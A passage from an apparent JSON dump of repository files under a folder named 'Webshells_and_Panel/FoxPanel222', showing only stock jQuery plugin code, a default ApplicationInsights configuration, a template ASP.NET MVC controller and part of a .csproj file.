'focusin',\r\n      'focusout',\r\n      'input',\r\n      'keydown',\r\n      'keyup',\r\n      'keypress',\r\n      'mousedown',\r\n      'mouseenter',\r\n      'mouseleave',\r\n      'mousemove',\r\n      'mouseover',\r\n      'mouseup',\r\n      'search',\r\n      'touchend',\r\n      'touchstart'\r\n    ];\r\n\r\n    this.$selection.on(stoppedEvents.join(' '), function (evt) {\r\n      evt.stopPropagation();\r\n    });\r\n  };\r\n\r\n  return StopPropagation;\r\n});\r\n\r\n/*!\r\n * jQuery Mousewheel 3.1.13\r\n *\r\n * Copyright jQuery Foundation and other contributors\r\n * Released under the MIT license\r\n * http://jquery.org/license\r\n */\r\n\r\n(function (factory) {\r\n    if ( typeof S2.define === 'function' && S2.define.amd ) {\r\n        // AMD. Register as an anonymous module.\r\n        S2.define('jquery-mousewheel',['jquery'], factory);\r\n    } else if (typeof exports === 'object') {\r\n        // Node/CommonJS style for Browserify\r\n        module.exports = factory;\r\n    } else {\r\n        // Browser globals\r\n        factory(jQuery);\r\n    }\r\n}(function ($) {\r\n\r\n    var toFix  = ['wheel', 'mousewheel', 'DOMMouseScroll', 'MozMousePixelScroll'],\r\n        toBind = ( 'onwheel' in document || document.documentMode >= 9 ) ?\r\n                    ['wheel'] : ['mousewheel', 'DomMouseScroll', 'MozMousePixelScroll'],\r\n        slice  = Array.prototype.slice,\r\n        nullLowestDeltaTimeout, lowestDelta;\r\n\r\n    if ( $.event.fixHooks ) {\r\n        for ( var i = toFix.length; i; ) {\r\n            $.event.fixHooks[ toFix[--i] ] = $.event.mouseHooks;\r\n        }\r\n    }\r\n\r\n    var special = $.event.special.mousewheel = {\r\n        version: '3.1.12',\r\n\r\n        setup: function() {\r\n            if ( this.addEventListener ) {\r\n                for ( var i = toBind.length; i; ) {\r\n                    this.addEventListener( toBind[--i], handler, false );\r\n                }\r\n            } else {\r\n                this.onmousewheel = handler;\r\n            }\r\n            // Store the line height and page height for this particular element\r\n            $.data(this, 'mousewheel-line-height', special.getLineHeight(this));\r\n            $.data(this, 'mousewheel-page-height', special.getPageHeight(this));\r\n        },\r\n\r\n        teardown: function() {\r\n            if ( this.removeEventListener ) {\r\n                for ( var i = toBind.length; i; ) {\r\n                    this.removeEventListener( toBind[--i], handler, false );\r\n                }\r\n            } else {\r\n                this.onmousewheel = null;\r\n            }\r\n            // Clean up the data we added to the element\r\n            $.removeData(this, 'mousewheel-line-height');\r\n            $.removeData(this, 'mousewheel-page-height');\r\n        },\r\n\r\n        getLineHeight: function(elem) {\r\n            var $elem = $(elem),\r\n                $parent = $elem['offsetParent' in $.fn ? 'offsetParent' : 'parent']();\r\n            if (!$parent.length) {\r\n                $parent = $('body');\r\n            }\r\n            return parseInt($parent.css('fontSize'), 10) || parseInt($elem.css('fontSize'), 10) || 16;\r\n        },\r\n\r\n        getPageHeight: function(elem) {\r\n            return $(elem).height();\r\n        },\r\n\r\n        settings: {\r\n            adjustOldDeltas: true, // see shouldAdjustOldDeltas() below\r\n            normalizeOffset: true  // calls getBoundingClientRect for each event\r\n        }\r\n    };\r\n\r\n    $.fn.extend({\r\n        mousewheel: function(fn) {\r\n            return fn ? this.bind('mousewheel', fn) : this.trigger('mousewheel');\r\n        },\r\n\r\n        unmousewheel: function(fn) {\r\n            return this.unbind('mousewheel', fn);\r\n        }\r\n    });\r\n\r\n\r\n    function handler(event) {\r\n        var orgEvent   = event || window.event,\r\n            args       = slice.call(arguments, 1),\r\n            delta      = 0,\r\n            deltaX     = 0,\r\n            deltaY     = 0,\r\n            absDelta   = 0,\r\n            offsetX    = 0,\r\n            offsetY    = 0;\r\n        event = $.event.fix(orgEvent);\r\n        event.type = 'mousewheel';\r\n\r\n        // Old school scrollwheel delta\r\n        if ( 'detail'      in orgEvent ) { deltaY = orgEvent.detail * -1;      }\r\n        if ( 'wheelDelta'  in orgEvent ) { deltaY = orgEvent.wheelDelta;       }\r\n        if ( 'wheelDeltaY' in orgEvent ) { deltaY = orgEvent.wheelDeltaY;      }\r\n        if ( 'wheelDeltaX' in orgEvent ) { deltaX = orgEvent.wheelDeltaX * -1; }\r\n\r\n        // Firefox < 17 horizontal scrolling related to DOMMouseScroll event\r\n        if ( 'axis' in orgEvent && orgEvent.axis === orgEvent.HORIZONTAL_AXIS ) {\r\n            deltaX = deltaY * -1;\r\n            deltaY = 0;\r\n        }\r\n\r\n        // Set delta to be deltaY or deltaX if deltaY is 0 for backwards compatabilitiy\r\n        delta = deltaY === 0 ? deltaX : deltaY;\r\n\r\n        // New school wheel delta (wheel event)\r\n        if ( 'deltaY' in orgEvent ) {\r\n            deltaY = orgEvent.deltaY * -1;\r\n            delta  = deltaY;\r\n        }\r\n        if ( 'deltaX' in orgEvent ) {\r\n            deltaX = orgEvent.deltaX;\r\n            if ( deltaY === 0 ) { delta  = deltaX * -1; }\r\n        }\r\n\r\n        // No change actually happened, no reason to go any further\r\n        if ( deltaY === 0 && deltaX === 0 ) { return; }\r\n\r\n        // Need to convert lines and pages to pixels if we aren't already in pixels\r\n        // There are three delta modes:\r\n        //   * deltaMode 0 is by pixels, nothing to do\r\n        //   * deltaMode 1 is by lines\r\n        //   * deltaMode 2 is by pages\r\n        if ( orgEvent.deltaMode === 1 ) {\r\n            var lineHeight = $.data(this, 'mousewheel-line-height');\r\n            delta  *= lineHeight;\r\n            deltaY *= lineHeight;\r\n            deltaX *= lineHeight;\r\n        } else if ( orgEvent.deltaMode === 2 ) {\r\n            var pageHeight = $.data(this, 'mousewheel-page-height');\r\n            delta  *= pageHeight;\r\n            deltaY *= pageHeight;\r\n            deltaX *= pageHeight;\r\n        }\r\n\r\n        // Store lowest absolute delta to normalize the delta values\r\n        absDelta = Math.max( Math.abs(deltaY), Math.abs(deltaX) );\r\n\r\n        if ( !lowestDelta || absDelta < lowestDelta ) {\r\n            lowestDelta = absDelta;\r\n\r\n            // Adjust older deltas if necessary\r\n            if ( shouldAdjustOldDeltas(orgEvent, absDelta) ) {\r\n                lowestDelta /= 40;\r\n            }\r\n        }\r\n\r\n        // Adjust older deltas if necessary\r\n        if ( shouldAdjustOldDeltas(orgEvent, absDelta) ) {\r\n            // Divide all the things by 40!\r\n            delta  /= 40;\r\n            deltaX /= 40;\r\n            deltaY /= 40;\r\n        }\r\n\r\n        // Get a whole, normalized value for the deltas\r\n        delta  = Math[ delta  >= 1 ? 'floor' : 'ceil' ](delta  / lowestDelta);\r\n        deltaX = Math[ deltaX >= 1 ? 'floor' : 'ceil' ](deltaX / lowestDelta);\r\n        deltaY = Math[ deltaY >= 1 ? 'floor' : 'ceil' ](deltaY / lowestDelta);\r\n\r\n        // Normalise offsetX and offsetY properties\r\n        if ( special.settings.normalizeOffset && this.getBoundingClientRect ) {\r\n            var boundingRect = this.getBoundingClientRect();\r\n            offsetX = event.clientX - boundingRect.left;\r\n            offsetY = event.clientY - boundingRect.top;\r\n        }\r\n\r\n        // Add information to the event object\r\n        event.deltaX = deltaX;\r\n        event.deltaY = deltaY;\r\n        event.deltaFactor = lowestDelta;\r\n        event.offsetX = offsetX;\r\n        event.offsetY = offsetY;\r\n        // Go ahead and set deltaMode to 0 since we converted to pixels\r\n        // Although this is a little odd since we overwrite the deltaX/Y\r\n        // properties with normalized deltas.\r\n        event.deltaMode = 0;\r\n\r\n        // Add event and delta to the front of the arguments\r\n        args.unshift(event, delta, deltaX, deltaY);\r\n\r\n        // Clearout lowestDelta after sometime to better\r\n        // handle multiple device types that give different\r\n        // a different lowestDelta\r\n        // Ex: trackpad = 3 and mouse wheel = 120\r\n        if (nullLowestDeltaTimeout) { clearTimeout(nullLowestDeltaTimeout); }\r\n        nullLowestDeltaTimeout = setTimeout(nullLowestDelta, 200);\r\n\r\n        return ($.event.dispatch || $.event.handle).apply(this, args);\r\n    }\r\n\r\n    function nullLowestDelta() {\r\n        lowestDelta = null;\r\n    }\r\n\r\n    function shouldAdjustOldDeltas(orgEvent, absDelta) {\r\n        // If this is an older event and the delta is divisable by 120,\r\n        // then we are assuming that the browser is treating this as an\r\n        // older mouse wheel event and that we should divide the deltas\r\n        // by 40 to try and get a more usable deltaFactor.\r\n        // Side note, this actually impacts the reported scroll distance\r\n        // in older browsers and can cause scrolling to be slower than native.\r\n        // Turn this off by setting $.event.special.mousewheel.settings.adjustOldDeltas to false.\r\n        return special.settings.adjustOldDeltas && orgEvent.type === 'mousewheel' && absDelta % 120 === 0;\r\n    }\r\n\r\n}));\r\n\r\nS2.define('jquery.select2',[\r\n  'jquery',\r\n  'jquery-mousewheel',\r\n\r\n  './select2/core',\r\n  './select2/defaults'\r\n], function ($, _, Select2, Defaults) {\r\n  if ($.fn.select2 == null) {\r\n    // All methods that should return the element\r\n    var thisMethods = ['open', 'close', 'destroy'];\r\n\r\n    $.fn.select2 = function (options) {\r\n      options = options || {};\r\n\r\n      if (typeof options === 'object') {\r\n        this.each(function () {\r\n          var instanceOptions = $.extend(true, {}, options);\r\n\r\n          var instance = new Select2($(this), instanceOptions);\r\n        });\r\n\r\n        return this;\r\n      } else if (typeof options === 'string') {\r\n        var ret;\r\n        var args = Array.prototype.slice.call(arguments, 1);\r\n\r\n        this.each(function () {\r\n          var instance = $(this).data('select2');\r\n\r\n          if (instance == null && window.console && console.error) {\r\n            console.error(\r\n              'The select2(\\'' + options + '\\') method was called on an ' +\r\n              'element that is not using Select2.'\r\n            );\r\n          }\r\n\r\n          ret = instance[options].apply(instance, args);\r\n        });\r\n\r\n        // Check if we should be returning `this`\r\n        if ($.inArray(options, thisMethods) > -1) {\r\n          return this;\r\n        }\r\n\r\n        return ret;\r\n      } else {\r\n        throw new Error('Invalid arguments for Select2: ' + options);\r\n      }\r\n    };\r\n  }\r\n\r\n  if ($.fn.select2.defaults == null) {\r\n    $.fn.select2.defaults = Defaults;\r\n  }\r\n\r\n  return Select2;\r\n});\r\n\r\n  // Return the AMD loader configuration so it can be used outside of this file\r\n  return {\r\n    define: S2.define,\r\n    require: S2.require\r\n  };\r\n}());\r\n\r\n  // Autoload the jQuery bindings\r\n  // We know that all of the modules exist above this, so we're safe\r\n  var select2 = S2.require('jquery.select2');\r\n\r\n  // Hold the AMD module references on the jQuery function that was just loaded\r\n  // This allows Select2 to use the internal loader outside of this file, such\r\n  // as in the language files.\r\n  jQuery.fn.select2.amd = S2;\r\n\r\n  // Return the Select2 instance for anyone who is importing it.\r\n  return select2;\r\n}));"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/ApplicationInsights.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<ApplicationInsights xmlns=\"http://schemas.microsoft.com/ApplicationInsights/2013/Settings\">\r\n\t<TelemetryInitializers>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.DependencyCollector.HttpDependenciesParsingTelemetryInitializer, Microsoft.AI.DependencyCollector\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.WindowsServer.AzureRoleEnvironmentTelemetryInitializer, Microsoft.AI.WindowsServer\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.WindowsServer.AzureWebAppRoleEnvironmentTelemetryInitializer, Microsoft.AI.WindowsServer\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.WindowsServer.BuildInfoConfigComponentVersionTelemetryInitializer, Microsoft.AI.WindowsServer\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.Web.WebTestTelemetryInitializer, Microsoft.AI.Web\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.Web.SyntheticUserAgentTelemetryInitializer, Microsoft.AI.Web\">\r\n\t\t\t<!-- Extended list of bots:\r\n            search|spider|crawl|Bot|Monitor|BrowserMob|BingPreview|PagePeeker|WebThumb|URL2PNG|ZooShot|GomezA|Google SketchUp|Read Later|KTXN|KHTE|Keynote|Pingdom|AlwaysOn|zao|borg|oegp|silk|Xenu|zeal|NING|htdig|lycos|slurp|teoma|voila|yahoo|Sogou|CiBra|Nutch|Java|JNLP|Daumoa|Genieo|ichiro|larbin|pompos|Scrapy|snappy|speedy|vortex|favicon|indexer|Riddler|scooter|scraper|scrubby|WhatWeb|WinHTTP|voyager|archiver|Icarus6j|mogimogi|Netvibes|altavista|charlotte|findlinks|Retreiver|TLSProber|WordPress|wsr-agent|http client|Python-urllib|AppEngine-Google|semanticdiscovery|facebookexternalhit|web/snippet|Google-HTTP-Java-Client-->\r\n\t\t\t<Filters>search|spider|crawl|Bot|Monitor|AlwaysOn</Filters>\r\n\t\t</Add>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.Web.ClientIpHeaderTelemetryInitializer, Microsoft.AI.Web\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.Web.OperationNameTelemetryInitializer, Microsoft.AI.Web\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.Web.OperationCorrelationTelemetryInitializer, Microsoft.AI.Web\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.Web.UserTelemetryInitializer, Microsoft.AI.Web\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.Web.AuthenticatedUserIdTelemetryInitializer, Microsoft.AI.Web\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.Web.AccountIdTelemetryInitializer, Microsoft.AI.Web\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.Web.SessionTelemetryInitializer, Microsoft.AI.Web\"/>\r\n\t</TelemetryInitializers>\r\n\t<TelemetryModules>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.DependencyCollector.DependencyTrackingTelemetryModule, Microsoft.AI.DependencyCollector\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.Extensibility.PerfCounterCollector.PerformanceCollectorModule, Microsoft.AI.PerfCounterCollector\">\r\n\t\t\t<!--\r\n      Use the following syntax here to collect additional performance counters:\r\n      \r\n      <Counters>\r\n        <Add PerformanceCounter=\"\\Process(??APP_WIN32_PROC??)\\Handle Count\" ReportAs=\"Process handle count\" />\r\n        ...\r\n      </Counters>\r\n      \r\n      PerformanceCounter must be either \\CategoryName(InstanceName)\\CounterName or \\CategoryName\\CounterName\r\n      \r\n      NOTE: performance counters configuration will be lost upon NuGet upgrade.\r\n      \r\n      The following placeholders are supported as InstanceName:\r\n        ??APP_WIN32_PROC?? - instance name of the application process  for Win32 counters.\r\n        ??APP_W3SVC_PROC?? - instance name of the application IIS worker process for IIS/ASP.NET counters.\r\n        ??APP_CLR_PROC?? - instance name of the application CLR process for .NET counters.\r\n      -->\r\n\t\t</Add>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.Extensibility.PerfCounterCollector.QuickPulse.QuickPulseTelemetryModule, Microsoft.AI.PerfCounterCollector\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.WindowsServer.DeveloperModeWithDebuggerAttachedTelemetryModule, Microsoft.AI.WindowsServer\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.WindowsServer.UnhandledExceptionTelemetryModule, Microsoft.AI.WindowsServer\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.WindowsServer.UnobservedExceptionTelemetryModule, Microsoft.AI.WindowsServer\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.Web.RequestTrackingTelemetryModule, Microsoft.AI.Web\">\r\n\t\t\t<Handlers>\r\n\t\t\t\t<!-- \r\n        Add entries here to filter out additional handlers: \r\n        \r\n        NOTE: handler configuration will be lost upon NuGet upgrade.\r\n        -->\r\n\t\t\t\t<Add>System.Web.Handlers.TransferRequestHandler</Add>\r\n\t\t\t\t<Add>Microsoft.VisualStudio.Web.PageInspector.Runtime.Tracing.RequestDataHttpHandler</Add>\r\n\t\t\t\t<Add>System.Web.StaticFileHandler</Add>\r\n\t\t\t\t<Add>System.Web.Handlers.AssemblyResourceLoader</Add>\r\n\t\t\t\t<Add>System.Web.Optimization.BundleHandler</Add>\r\n\t\t\t\t<Add>System.Web.Script.Services.ScriptHandlerFactory</Add>\r\n\t\t\t\t<Add>System.Web.Handlers.TraceHandler</Add>\r\n\t\t\t\t<Add>System.Web.Services.Discovery.DiscoveryRequestHandler</Add>\r\n\t\t\t\t<Add>System.Web.HttpDebugHandler</Add>\r\n\t\t\t</Handlers>\r\n\t\t</Add>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.Web.ExceptionTrackingTelemetryModule, Microsoft.AI.Web\"/>\r\n\t</TelemetryModules>\r\n\t<TelemetryProcessors>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.Extensibility.PerfCounterCollector.QuickPulse.QuickPulseTelemetryProcessor, Microsoft.AI.PerfCounterCollector\"/>\r\n\t\t<Add Type=\"Microsoft.ApplicationInsights.WindowsServer.TelemetryChannel.AdaptiveSamplingTelemetryProcessor, Microsoft.AI.ServerTelemetryChannel\">\r\n\t\t\t<MaxTelemetryItemsPerSecond>5</MaxTelemetryItemsPerSecond>\r\n\t\t</Add>\r\n\t</TelemetryProcessors>\r\n\t<TelemetryChannel Type=\"Microsoft.ApplicationInsights.WindowsServer.TelemetryChannel.ServerTelemetryChannel, Microsoft.AI.ServerTelemetryChannel\"/>\r\n<!-- \r\n    Learn more about Application Insights configuration with ApplicationInsights.config here: \r\n    http://go.microsoft.com/fwlink/?LinkID=513840\r\n    \r\n    Note: If not present, please add <InstrumentationKey>Your Key</InstrumentationKey> to the top of this file.\r\n  --></ApplicationInsights>"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/Controllers/HomeController.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.Mvc;\r\n\r\nnamespace FoxPanel.Controllers\r\n{\r\n    public class HomeController : Controller\r\n    {\r\n        public ActionResult Index()\r\n        {\r\n            return View();\r\n        }\r\n\r\n        public ActionResult About()\r\n        {\r\n            ViewBag.Message = \"Your application description page.\";\r\n\r\n            return View();\r\n        }\r\n\r\n        public ActionResult Contact()\r\n        {\r\n            ViewBag.Message = \"Your contact page.\";\r\n\r\n            return View();\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/FoxPanel.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"15.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <Import Project=\"..\\packages\\Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.3\\build\\Microsoft.CodeDom.Providers.DotNetCompilerPlatform.props\" Condition=\"Exists('..\\packages\\Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.3\\build\\Microsoft.CodeDom.Providers.DotNetCompilerPlatform.props')\" />\r\n  <Import Project=\"..\\packages\\Microsoft.Net.Compilers.1.3.2\\build\\Microsoft.Net.Compilers.props\" Condition=\"Exists('..\\packages\\Microsoft.Net.Compilers.1.3.2\\build\\Microsoft.Net.Compilers.props')\" />\r\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\r\n  <PropertyGroup>\r\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\r\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\r\n    <ProductVersion>\r\n    </ProductVersion>\r\n    <SchemaVersion>2.0</SchemaVersion>\r\n    <ProjectGuid>{A987368D-FD31-40D3-9A8D-14A44EAC3B1E}</ProjectGuid>\r\n    <ProjectTypeGuids>{349c5851-65df-11da-9384-00065b846f21};{fae04ec0-301f-11d3-bf4b-00c04f79efbc}</ProjectTypeGuids>\r\n    <OutputType>Library</OutputType>\r\n    <AppDesignerFolder>Properties</AppDesignerFolder>\r\n    <RootNamespace>FoxPanel</RootNamespace>\r\n    <AssemblyName>FoxPanel</AssemblyName>\r\n    <TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>\r\n    <MvcBuildViews>false</MvcBuildViews>\r\n    <UseIISExpress>true</UseIISExpress>\r\n    <IISExpressSSLPort />\r\n    <IISExpressAnonymousAuthentication />\r\n    <IISExpressWindowsAuthentication />\r\n    <IISExpressUseClassicPipelineMode />\r\n    <UseGlobalApplicationHostFile />\r\n    <NuGetPackageImportStamp>\r\n    </NuGetPackageImportStamp>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\r\n    <DebugSymbols>true</DebugSymbols>\r\n    <DebugType>full</DebugType>\r\n    <Optimize>false</Optimize>\r\n    <OutputPath>bin\\</OutputPath>\r\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\r\n    <DebugSymbols>true</DebugSymbols>\r\n    <DebugType>pdbonly</DebugType>\r\n    <Optimize>true</Optimize>\r\n    <OutputPath>bin\\</OutputPath>\r\n    <DefineConstants>TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <ItemGroup>\r\n    <Reference Include=\"EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL\">\r\n      <HintPath>..\\packages\\EntityFramework.6.2.0\\lib\\net45\\EntityFramework.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"EntityFramework.SqlServer, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL\">\r\n      <HintPath>..\\packages\\EntityFramework.6.2.0\\lib\\net45\\EntityFramework.SqlServer.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=1.0.3.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL\">\r\n      <HintPath>..\\packages\\Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.3\\lib\\net45\\Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"Microsoft.CSharp\" />\r\n    <Reference Include=\"System\" />\r\n    <Reference Include=\"System.Data\" />\r\n    <Reference Include=\"System.Drawing\" />\r\n    <Reference Include=\"System.Web.DynamicData\" />\r\n    <Reference Include=\"System.Web.Entity\" />\r\n    <Reference Include=\"System.Web.ApplicationServices\" />\r\n    <Reference Include=\"System.ComponentModel.DataAnnotations\" />\r\n    <Reference Include=\"System.Core\" />\r\n    <Reference Include=\"System.Data.DataSetExtensions\" />\r\n    <Reference Include=\"System.Xml.Linq\" />\r\n    <Reference Include=\"System.Web\" />\r\n    <Reference Include=\"System.Web.Extensions\" />\r\n    <Reference Include=\"System.Web.Abstractions\" />\r\n    <Reference Include=\"System.Web.Routing\" />\r\n    <Reference Include=\"System.Xml\" />\r\n    <Reference Include=\"System.Configuration\" />\r\n    <Reference Include=\"System.Web.Services\" />\r\n    <Reference Include=\"System.EnterpriseServices\" />\r\n    <Reference Include=\"Microsoft.Web.Infrastructure, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL\">\r\n      <Private>True</Private>\r\n      <HintPath>..\\packages\\Microsoft.Web.Infrastructure.1.0.0.0\\lib\\net40\\Microsoft.Web.Infrastructure.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"System.Net.Http\">\r\n    </Reference>\r\n    <Reference Include=\"System.Net.Http.WebRequest\">\r\n    </Reference>\r\n    <Reference Include=\"System.Web.Helpers, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL\">\r\n      <Private>True</Private>\r\n      <HintPath>..\\packages\\Microsoft.AspNet.WebPages.3.2.3\\lib\\net45\\System.Web.Helpers.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"System.Web.Mvc, Version=5.2.3.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL\">\r\n      <Private>True</Private>\r\n      <HintPath>..\\packages\\Microsoft.AspNet.Mvc.5.2.3\\lib\\net45\\System.Web.Mvc.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"System.Web.Optimization\">\r\n      <HintPath>..\\packages\\Microsoft.AspNet.Web.Optimization.1.1.3\\lib\\net40\\System.Web.Optimization.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"System.Web.Razor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL\">\r\n      <Private>True</Private>\r\n      <HintPath>..\\packages\\Microsoft.AspNet.Razor.3.2.3\\lib\\net45\\System.Web.Razor.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"System.Web.WebPages, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL\">\r\n      <Private>True</Private>\r\n      <HintPath>..\\packages\\Microsoft.AspNet.WebPages.3.2.3\\lib\\net45\\System.Web.WebPages.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"System.Web.WebPages.Deployment, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL\">\r\n      <Private>True</Private>\r\n      <HintPath>..\\packages\\Microsoft.AspNet.WebPages.3.2.3\\lib\\net45\\System.Web.WebPages.Deployment.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL\">\r\n      <Private>True</Private>\r\n      <HintPath>..\\packages\\Microsoft.AspNet.WebPages.3.2.3\\lib\\net45\\System.Web.WebPages.Razor.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"WebGrease\">\r\n      <Private>True</Private>\r\n      <HintPath>..\\packages\\WebGrease.1.5.2\\lib\\WebGrease.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"Antlr3.Runtime\">\r\n      <Private>True</Private>\r\n      <HintPath>..\\packages\\Antlr.3.4.1.9004\\lib\\Antlr3.Runtime.dll</HintPath>\r\n    </Reference>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Reference Include=\"Newtonsoft.Json\">\r\n      <HintPath>..\\packages\\Newtonsoft.Json.6.0.4\\lib\\net45\\Newtonsoft.Json.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"Microsoft.ApplicationInsights\">\r\n      <HintPath>..\\packages\\Microsoft.ApplicationInsights.2.2.0\\lib\\net45\\Microsoft.ApplicationInsights.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"Microsoft.AI.Agent.Intercept\">\r\n      <HintPath>..\\packages\\Microsoft.ApplicationInsights.Agent.Intercept.2.0.6\\lib\\net45\\Microsoft.AI.Agent.Intercept.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"Microsoft.AI.DependencyCollector\">\r\n      <HintPath>..\\packages\\Microsoft.ApplicationInsights.DependencyCollector.2.2.0\\lib\\net45\\Microsoft.AI.DependencyCollector.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"Microsoft.AI.PerfCounterCollector\">\r\n      <HintPath>..\\packages\\Microsoft.ApplicationInsights.PerfCounterCollector.2.2.0\\lib\\net45\\Microsoft.AI.PerfCounterCollector.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"Microsoft.AI.ServerTelemetryChannel\">\r\n      <HintPath>..\\packages\\Microsoft.ApplicationInsights.WindowsServer.TelemetryChannel.2.2.0\\lib\\net45\\Microsoft.AI.ServerTelemetryChannel.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"Microsoft.AI.WindowsServer\">\r\n      <HintPath>..\\packages\\Microsoft.ApplicationInsights.WindowsServer.2.2.0\\lib\\net45\\Microsoft.AI.WindowsServer.dll</HintPath>\r\n    </Reference>\r\n    <Reference Include=\"Microsoft.AI.Web\">\r\n      <HintPath>..\\packages\\Microsoft.ApplicationInsights.Web.2.2.0\\lib\\net45\\Microsoft.AI.Web.dll</HintPath>\r\n    </Reference>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Compile Include=\"App_Start\\BundleConfig.cs\" />\r\n    <Compile Include=\"App_Start\\FilterConfig.cs\" />\r\n    <Compile Include=\"App_Start\\RouteConfig.cs\" />\r\n    <Compile Include=\"Controllers\\HomeController.cs\" />\r\n    <Compile Include=\"Global.asax.cs\">\r\n      <DependentUpon>Global.asax</DependentUpon>\r\n    </Compile>\r\n    <Compile Include=\"Models\\DataBaseModels.cs\" />\r\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Content Include=\"Content\\bootstrap.css\" />\r\n    <Content Include=\"Content\\bootstrap.min.css\" />\r\n    <Content Include=\"favicon.ico\" />\r\n    <Content Include=\"fonts\\glyphicons-halflings-regular.svg\" />\r\n    <Content Include=\"Global.asax\" />\r\n    <Content Include=\"Content\\Site.css\" />\r\n    <Content Include=\"Login_v1\\css\\main.css\" />\r\n    <Content Include=\"Login_v1\\css\\util.css\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\css\\font-awesome.css\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\css\\font-awesome.min.css\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\fonts\\fontawesome-webfont.svg\" 